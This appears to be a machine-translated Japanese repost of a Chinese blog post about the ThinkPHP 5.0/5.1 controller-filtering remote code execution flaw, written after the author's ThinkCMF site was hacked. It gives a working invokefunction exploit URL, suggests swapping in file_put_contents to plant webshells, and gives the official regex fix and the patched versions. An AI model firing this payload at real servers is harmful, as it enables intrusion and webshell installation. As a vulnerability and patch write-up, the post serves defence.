ホームページ  >  記事  >  PHPフレームワーク  >  thinkphp5.0 および 5.1 の getshell 脆弱性を記録します。

thinkphp5.0 および 5.1 の getshell 脆弱性を記録します。

藏色散人
藏色散人転載
2020-08-12 13:48:145117ブラウズ

以下は、thinkphp5.0 および 5.1 の getshell 脆弱性を紹介する thinkphp フレームワーク チュートリアル コラムです。困っている友人の役に立てば幸いです。

thinkphp5.0 および 5.1 の getshell 脆弱性を記録します。

Web サイトは以前に取り消されました。当時、Web サイトは数日前に構築されたばかりでした。意図的にそれを行っている人はいないはずです。 getshell のバッチ スキャン。見つけやすくするため。オープン ソース システムの thinkcmf がブログを作成しました。thinkcmf は thinkphp5.0 フレームワークを使用して開発されているため、非常に優れています。thinkphp.cn にアクセスして調べてみました。 、権限昇格の脆弱性があることが判明しました。

libaray/think/app.php ファイル内のモジュール、コントローラー、メソッドは / で区別されます。

#この場合、コントローラーはフィルター処理されず、さまざまな関数が構築および実行されます

thinkphp5.0 および 5.1 の getshell 脆弱性を記録します。

thinkphp5.0 および 5.1 の getshell 脆弱性を記録します。

# http://cmf.com をテストするためにローカルに仮想ホストを構築しました。thinkphp5.0 および 5.1 の getshell 脆弱性を記録します。

URL アクセスを構築します。phpinfo:

http://cmf.com/index.php?s=portal/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
を直接出力できます。

その後、phpinfo を他の関数に置き換えることができます。たとえば、file_put_content 関数を使用してさまざまなマレーシア語やポニーのファイルを作成できます。 thinkphp5.0 および 5.1 の getshell 脆弱性を記録します。

TP 公式修正 5.0 メソッドは次のとおりです。

think\App

クラスの

module

メソッドでコントローラーを取得するには、コードの後に​​ # を追加します。 ##

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
私が使用している thinkcmf のバージョンは: ThinkCMF 5.0.180901その後、thinkcmf の公式 Web サイトを確認したところ、5.0.190111 に更新されており、最新バージョンはtp5.0 にもアップデートされました 最新バージョン 5.0.24 にはセキュリティアップデートが含まれており、もちろんそのような権限昇格の脆弱性はありません。


以上がthinkphp5.0 および 5.1 の getshell 脆弱性を記録します。の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。